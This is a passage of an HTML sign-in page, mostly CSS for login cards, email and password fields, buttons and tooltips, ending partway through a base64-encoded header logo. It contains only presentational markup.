padding: 0;
border: 0;
position: absolute;
height: 100%;
min-width: 100%;
font-size: 13px;
color: #404040;
direction: ltr;
-webkit-text-size-adjust: none;
}
button,
input[type=button],
input[type=submit] {
font-family: Arial, sans-serif;
font-size: 13px;
}
a,
a:hover,
a:visited {
color: #427fed;
cursor: pointer;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
h1 {
font-size: 20px;
color: #262626;
margin: 0 0 15px;
font-weight: normal;
}
h2 {
font-size: 14px;
color: #262626;
margin: 0 0 15px;
font-weight: bold;
}
input[type=email],
input[type=number],
input[type=password],
input[type=tel],
input[type=text],
input[type=url] {
-moz-appearance: none;
-webkit-appearance: none;
appearance: none;
display: inline-block;
height: 36px;
padding: 0 8px;
margin: 0;
background: #fff;
border: 1px solid #d9d9d9;
border-top: 1px solid #c0c0c0;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
-moz-border-radius: 1px;
-webkit-border-radius: 1px;
border-radius: 1px;
font-size: 15px;
color: #404040;
}
input[type=email]:hover,
input[type=number]:hover,
input[type=password]:hover,
input[type=tel]:hover,
input[type=text]:hover,
input[type=url]:hover {
border: 1px solid #b9b9b9;
border-top: 1px solid #a0a0a0;
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
}
input[type=email]:focus,
input[type=number]:focus,
input[type=password]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=url]:focus {
outline: none;
border: 1px solid #4d90fe;
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
}
input[type=checkbox],
input[type=radio] {
-webkit-appearance: none;
display: inline-block;
width: 13px;
height: 13px;
margin: 0;
cursor: pointer;
vertical-align: bottom;
background: #fff;
border: 1px solid #c6c6c6;
-moz-border-radius: 1px;
-webkit-border-radius: 1px;
border-radius: 1px;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
position: relative;
}
input[type=checkbox]:active,
input[type=radio]:active {
background: #ebebeb;
}
input[type=checkbox]:hover {
border-color: #c6c6c6;
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
}
input[type=radio] {
-moz-border-radius: 1em;
-webkit-border-radius: 1em;
border-radius: 1em;
width: 15px;
height: 15px;
}
input[type=checkbox]:checked,
input[type=radio]:checked {
background: #fff;
}
input[type=radio]:checked::after {
content: '';
display: block;
position: relative;
top: 3px;
left: 3px;
width: 7px;
height: 7px;
background: #666;
-moz-border-radius: 1em;
-webkit-border-radius: 1em;
border-radius: 1em;
}
input[type=checkbox]:checked::after {
content: url(http://ssl.gstatic.com/ui/v1/menu/checkmark.png);
display: block;
position: absolute;
top: -6px;
left: -5px;
}
input[type=checkbox]:focus {
outline: none;
border-color: #4d90fe;
}
.stacked-label {
display: block;
font-weight: bold;
margin: .5em 0;
}
.hidden-label {
position: absolute !important;
clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
clip: rect(1px, 1px, 1px, 1px);
height: 0px;
width: 0px;
overflow: hidden;
visibility: hidden;
}
input[type=checkbox].form-error,
input[type=email].form-error,
input[type=number].form-error,
input[type=password].form-error,
input[type=text].form-error,
input[type=tel].form-error,
input[type=url].form-error {
border: 1px solid #dd4b39;
}
.error-msg {
margin: .5em 0;
display: block;
color: #dd4b39;
line-height: 17px;
}
.help-link {
background: #dd4b39;
padding: 0 5px;
color: #fff;
font-weight: bold;
display: inline-block;
-moz-border-radius: 1em;
-webkit-border-radius: 1em;
border-radius: 1em;
text-decoration: none;
position: relative;
top: 0px;
}
.help-link:visited {
color: #fff;
}
.help-link:hover {
color: #fff;
background: #c03523;
text-decoration: none;
}
.help-link:active {
opacity: 1;
background: #ae2817;
}
.wrapper {
position: relative;
min-height: 100%;
}
.content {
padding: 0 44px;
}
.main {
padding-bottom: 100px;
}
/* For modern browsers */
.clearfix:before,
.clearfix:after {
content: "";
display: table;
}
.clearfix:after {
clear: both;
}
/* For IE 6/7 (trigger hasLayout) */
.clearfix {
zoom:1;
}
.-header-bar {
height: 71px;
border-bottom: 1px solid #e5e5e5;
overflow: hidden;
}
.header .logo {
margin: 17px 0 0;
float: left;
height: 38px;
width: 116px;
}
.header .secondary-link {
margin: 28px 0 0;
float: right;
}
.header .secondary-link a {
font-weight: normal;
}
.-header-bar.centered {
border: 0;
height: 108px;
}
.-header-bar.centered .header .logo {
float: none;
margin: 40px auto 30px;
display: block;
}
.-header-bar.centered .header .secondary-link {
display: none
}
.-footer-bar {
position: absolute;
bottom: 0;
height: 35px;
width: 100%;
border-top: 1px solid #e5e5e5;
overflow: hidden;
}
.footer {
padding-top: 7px;
font-size: .85em;
white-space: nowrap;
line-height: 0;
}
.footer ul {
float: left;
max-width: 80%;
padding: 0;
}
.footer ul li {
color: #737373;
display: inline;
padding: 0;
padding-right: 1.5em;
}
.footer a {
color: #737373;
}
.lang-chooser-wrap {
float: right;
display: inline;
}
.lang-chooser-wrap img {
vertical-align: top;
}
.lang-chooser {
font-size: 13px;
height: 24px;
line-height: 24px;
}
.lang-chooser option {
font-size: 13px;
line-height: 24px;
}
.hidden {
height: 0px;
width: 0px;
overflow: hidden;
visibility: hidden;
display: none !important;
}
.banner {
text-align: center;
}
.card {
background-color: #f7f7f7;
padding: 20px 25px 30px;
margin: 0 auto 25px;
width: 304px;
-moz-border-radius: 2px;
-webkit-border-radius: 2px;
border-radius: 2px;
-moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
-webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
}
.card > *:first-child {
margin-top: 0;
}
.rc-button,
.rc-button:visited {
display: inline-block;
min-width: 46px;
text-align: center;
color: #444;
font-size: 14px;
font-weight: 700;
height: 36px;
padding: 0 8px;
line-height: 36px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-radius: 3px;
-o-transition: all 0.218s;
-moz-transition: all 0.218s;
-webkit-transition: all 0.218s;
transition: all 0.218s;
border: 1px solid #dcdcdc;
background-color: #f5f5f5;
background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
-o-transition: none;
-moz-user-select: none;
-webkit-user-select: none;
user-select: none;
cursor: default;
}
.card .rc-button {
width: 100%;
padding: 0;
}
.rc-button.disabled,
.rc-button[disabled] {
opacity: .5;
filter: alpha(opacity=50);
cursor: default;
pointer-events: none;
}
.rc-button:hover {
border: 1px solid #c6c6c6;
color: #333;
text-decoration: none;
-o-transition: all 0.0s;
-moz-transition: all 0.0s;
-webkit-transition: all 0.0s;
transition: all 0.0s;
background-color: #f8f8f8;
background-image: -webkit-linear-gradient(top,#f8f8f8,#f1f1f1);
background-image: -moz-linear-gradient(top,#f8f8f8,#f1f1f1);
background-image: -ms-linear-gradient(top,#f8f8f8,#f1f1f1);
background-image: -o-linear-gradient(top,#f8f8f8,#f1f1f1);
background-image: linear-gradient(top,#f8f8f8,#f1f1f1);
-moz-box-shadow: 0 1px 1px rgba(0,0,0,0.1);
-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1);
box-shadow: 0 1px 1px rgba(0,0,0,0.1);
}
.rc-button:active {
background-color: #f6f6f6;
background-image: -webkit-linear-gradient(top,#f6f6f6,#f1f1f1);
background-image: -moz-linear-gradient(top,#f6f6f6,#f1f1f1);
background-image: -ms-linear-gradient(top,#f6f6f6,#f1f1f1);
background-image: -o-linear-gradient(top,#f6f6f6,#f1f1f1);
background-image: linear-gradient(top,#f6f6f6,#f1f1f1);
-moz-box-shadow: 0 1px 2px rgba(0,0,0,0.1);
-webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1);
box-shadow: 0 1px 2px rgba(0,0,0,0.1);
}
.rc-button-submit,
.rc-button-submit:visited {
border: 1px solid #3079ed;
color: #fff;
text-shadow: 0 1px rgba(0,0,0,0.1);
background-color: #4d90fe;
background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
background-image: linear-gradient(top,#4d90fe,#4787ed);
}
.rc-button-submit:hover {
border: 1px solid #2f5bb7;
color: #fff;
text-shadow: 0 1px rgba(0,0,0,0.3);
background-color: #357ae8;
background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);
background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);
background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);
background-image: -o-linear-gradient(top,#4d90fe,#357ae8);
background-image: linear-gradient(top,#4d90fe,#357ae8);
}
.rc-button-submit:active {
background-color: #357ae8;
background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);
background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);
background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);
background-image: -o-linear-gradient(top,#4d90fe,#357ae8);
background-image: linear-gradient(top,#4d90fe,#357ae8);
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
}
.rc-button-red,
.rc-button-red:visited {
border: 1px solid transparent;
color: #fff;
text-shadow: 0 1px rgba(0,0,0,0.1);
background-color: #d14836;
background-image: -webkit-linear-gradient(top,#dd4b39,#d14836);
background-image: -moz-linear-gradient(top,#dd4b39,#d14836);
background-image: -ms-linear-gradient(top,#dd4b39,#d14836);
background-image: -o-linear-gradient(top,#dd4b39,#d14836);
background-image: linear-gradient(top,#dd4b39,#d14836);
}
.rc-button-red:hover {
border: 1px solid #b0281a;
color: #fff;
text-shadow: 0 1px rgba(0,0,0,0.3);
background-color: #c53727;
background-image: -webkit-linear-gradient(top,#dd4b39,#c53727);
background-image: -moz-linear-gradient(top,#dd4b39,#c53727);
background-image: -ms-linear-gradient(top,#dd4b39,#c53727);
background-image: -o-linear-gradient(top,#dd4b39,#c53727);
background-image: linear-gradient(top,#dd4b39,#c53727);
}
.rc-button-red:active {
border: 1px solid #992a1b;
background-color: #b0281a;
background-image: -webkit-linear-gradient(top,#dd4b39,#b0281a);
background-image: -moz-linear-gradient(top,#dd4b39,#b0281a);
background-image: -ms-linear-gradient(top,#dd4b39,#b0281a);
background-image: -o-linear-gradient(top,#dd4b39,#b0281a);
background-image: linear-gradient(top,#dd4b39,#b0281a);
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
}
.secondary-actions {
text-align: center;
} </style>
<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.-header-bar.centered {
height: 83px;
}
.-header-bar.centered .header .logo {
margin: 25px auto 20px;
}
.card {
margin-bottom: 20px;
} </style>
<style media="screen and (max-width: 580px)" type="text/css">
html, body {
font-size: 14px;
}
.-header-bar.centered {
height: 73px;
}
.-header-bar.centered .header .logo {
margin: 20px auto 15px;
}
.content {
padding-left: 10px;
padding-right: 10px;
}
.hidden-small {
display: none;
}
.card {
padding: 20px 15px 30px;
width: 270px;
}
.footer ul li {
padding-right: 1em;
}
.lang-chooser-wrap {
display: none;
} </style>
<style type="text/css">
pre.debug {
font-family: monospace;
position: absolute;
left: 0;
margin: 0;
padding: 1.5em;
font-size: 13px;
background: #f1f1f1;
border-top: 1px solid #e5e5e5;
direction: ltr;
white-space: pre-wrap;
width: 90%;
overflow: hidden;
} </style>
<style type="text/css">
.banner h1 {
font-family: 'Open Sans', arial;
-webkit-font-smoothing: antialiased;
color: #555;
font-size: 42px;
font-weight: 300;
margin-top: 0;
margin-bottom: 20px;
}
.banner h2 {
font-family: 'Open Sans', arial;
-webkit-font-smoothing: antialiased;
color: #555;
font-size: 18px;
font-weight: 400;
margin-bottom: 20px;
}
.signin-card {
width: 274px;
padding: 40px 40px;
}
.signin-card .profile-img {
width: 96px;
height: 96px;
margin: 0 auto 10px;
display: block;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
}
.signin-card .profile-name {
font-size: 16px;
font-weight: bold;
text-align: center;
margin: 10px 0 0;
min-height: 1em;
}
.signin-card .profile-email {
font-size: 16px;
text-align: center;
margin: 10px 0 20px 0;
min-height: 1em;
}
.signin-card input[type=email],
.signin-card input[type=password],
.signin-card input[type=text],
.signin-card input[type=submit] {
width: 100%;
display: block;
margin-bottom: 10px;
z-index: 1;
position: relative;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
.signin-card #Email,
.signin-card #Passwd,
.signin-card .captcha {
direction: ltr;
height: 44px;
font-size: 16px;
}
.signin-card #Email + .stacked-label {
margin-top: 15px;
}
.signin-card #reauthEmail {
display: block;
margin-bottom: 10px;
line-height: 36px;
padding: 0 8px;
font-size: 15px;
color: #404040;
line-height: 2;
margin-bottom: 10px;
font-size: 14px;
text-align: center;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
.one- p {
margin: 0 0 10px;
color: #555;
font-size: 14px;
text-align: center;
}
.one- p.create-account,
.one- p.switch-account {
margin-bottom: 60px;
}
.one- img {
display: block;
width: 210px;
height: 17px;
margin: 10px auto;
} </style>
<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.banner h1 {
font-size: 38px;
margin-bottom: 15px;
}
.banner h2 {
margin-bottom: 15px;
}
.one- p.create-account,
.one- p.switch-account {
margin-bottom: 30px;
}
.signin-card #Email {
margin-bottom: 0;
}
.signin-card #Passwd {
margin-top: -1px;
}
.signin-card #Email.form-error,
.signin-card #Passwd.form-error {
z-index: 2;
}
.signin-card #Email:hover,
.signin-card #Email:focus,
.signin-card #Passwd:hover,
.signin-card #Passwd:focus {
z-index: 3;
} </style>
<style media="screen and (max-width: 580px)" type="text/css">
.banner h1 {
font-size: 22px;
margin-bottom: 15px;
}
.signin-card {
width: 260px;
padding: 20px 20px;
margin: 0 auto 20px;
}
.signin-card .profile-img {
width: 72px;
height: 72px;
-moz-border-radius: 72px;
-webkit-border-radius: 72px;
border-radius: 72px;
} </style>
<style type="text/css">
.jfk-tooltip {
background-color: #fff;
border: 1px solid;
color: #737373;
font-size: 12px;
position: absolute;
z-index: 800 !important;
border-color: #bbb #bbb #a8a8a8;
padding: 16px;
width: 250px;
}
.jfk-tooltip h3 {
color: #555;
font-size: 12px;
margin: 0 0 .5em;
}
.jfk-tooltip-content p:last-child {
margin-bottom: 0;
}
.jfk-tooltip-arrow {
position: absolute;
}
.jfk-tooltip-arrow .jfk-tooltip-arrowimplbefore,
.jfk-tooltip-arrow .jfk-tooltip-arrowimplafter {
display: block;
height: 0;
position: absolute;
width: 0;
}
.jfk-tooltip-arrow .jfk-tooltip-arrowimplbefore {
border: 9px solid;
}
.jfk-tooltip-arrow .jfk-tooltip-arrowimplafter {
border: 8px solid;
}
.jfk-tooltip-arrowdown {
bottom: 0;
}
.jfk-tooltip-arrowup {
top: -9px;
}
.jfk-tooltip-arrowleft {
left: -9px;
top: 30px;
}
.jfk-tooltip-arrowright {
right: 0;
top: 30px;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore,.jfk-tooltip-arrowup .jfk-tooltip-arrowimplbefore {
border-color: #bbb transparent;
left: -9px;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore {
border-color: #a8a8a8 transparent;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplafter,.jfk-tooltip-arrowup .jfk-tooltip-arrowimplafter {
border-color: #fff transparent;
left: -8px;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplbefore {
border-bottom-width: 0;
}
.jfk-tooltip-arrowdown .jfk-tooltip-arrowimplafter {
border-bottom-width: 0;
}
.jfk-tooltip-arrowup .jfk-tooltip-arrowimplbefore {
border-top-width: 0;
}
.jfk-tooltip-arrowup .jfk-tooltip-arrowimplafter {
border-top-width: 0;
top: 1px;
}
.jfk-tooltip-arrowleft .jfk-tooltip-arrowimplbefore,
.jfk-tooltip-arrowright .jfk-tooltip-arrowimplbefore {
border-color: transparent #bbb;
top: -9px;
}
.jfk-tooltip-arrowleft .jfk-tooltip-arrowimplafter,
.jfk-tooltip-arrowright .jfk-tooltip-arrowimplafter {
border-color:transparent #fff;
top:-8px;
}
.jfk-tooltip-arrowleft .jfk-tooltip-arrowimplbefore {
border-left-width: 0;
}
.jfk-tooltip-arrowleft .jfk-tooltip-arrowimplafter {
border-left-width: 0;
left: 1px;
}
.jfk-tooltip-arrowright .jfk-tooltip-arrowimplbefore {
border-right-width: 0;
}
.jfk-tooltip-arrowright .jfk-tooltip-arrowimplafter {
border-right-width: 0;
}
.jfk-tooltip-closebtn {
background: url("http://ssl.gstatic.com/ui/v1/icons/common/x_8px.png") no-repeat;
border: 1px solid transparent;
height: 21px;
opacity: .4;
outline: 0;
position: absolute;
right: 2px;
top: 2px;
width: 21px;
}
.jfk-tooltip-closebtn:focus,
.jfk-tooltip-closebtn:hover {
opacity: .8;
cursor: pointer;
}
.jfk-tooltip-closebtn:focus {
border-color: #4d90fe;
} </style>
<style media="screen and (max-width: 580px)" type="text/css">
.jfk-tooltip {
display: none;
} </style>
<style type="text/css">
.need-help-reverse {
float: right;
}
.remember .bubble-wrap {
position: absolute;
padding-top: 3px;
-o-transition: opacity .218s ease-in .218s;
-moz-transition: opacity .218s ease-in .218s;
-webkit-transition: opacity .218s ease-in .218s;
transition: opacity .218s ease-in .218s;
left: -999em;
opacity: 0;
width: 314px;
margin-left: -20px;
}
.remember:hover .bubble-wrap,
.remember input:focus ~ .bubble-wrap,
.remember .bubble-wrap:hover,
.remember .bubble-wrap:focus {
opacity: 1;
left: inherit;
}
.bubble-pointer {
border-left: 10px solid transparent;
border-right: 10px solid transparent;
border-bottom: 10px solid #fff;
width: 0;
height: 0;
margin-left: 17px;
}
.bubble {
background-color: #fff;
padding: 15px;
margin-top: -1px;
font-size: 11px;
-moz-border-radius: 2px;
-webkit-border-radius: 2px;
border-radius: 2px;
-moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
-webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
}
#stay-signed-in {
float: left;
}
#stay-signed-in-tooltip {
left: auto;
margin-left: -20px;
padding-top: 3px;
position: absolute;
top: 0;
visibility: hidden;
width: 314px;
z-index: 1;
}
.dasher-tooltip {
position: absolute;
left: 50%;
top: 380px;
margin-left: 150px;
}
.dasher-tooltip .tooltip-pointer {
margin-top: 15px;
}
.dasher-tooltip p {
margin-top: 0;
}
.dasher-tooltip p span {
display: block;
}
.style1
{
font-weight: inherit;
font-style: inherit;
font-size: 100%;
font-family: inherit;
vertical-align: baseline;
border-style: none;
border-color: inherit;
border-width: 0;
margin: 0;
padding: 0;
}
* {
padding:0;list-style:none;outline:none;
} </style>
<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.dasher-tooltip {
top: 340px;
} </style>
</head>
<body>
<div class="wrapper">
<div class="-header-bar centered">
<div class="header content clearfix">
<img alt="" class="logo" src="data:image/png;base64,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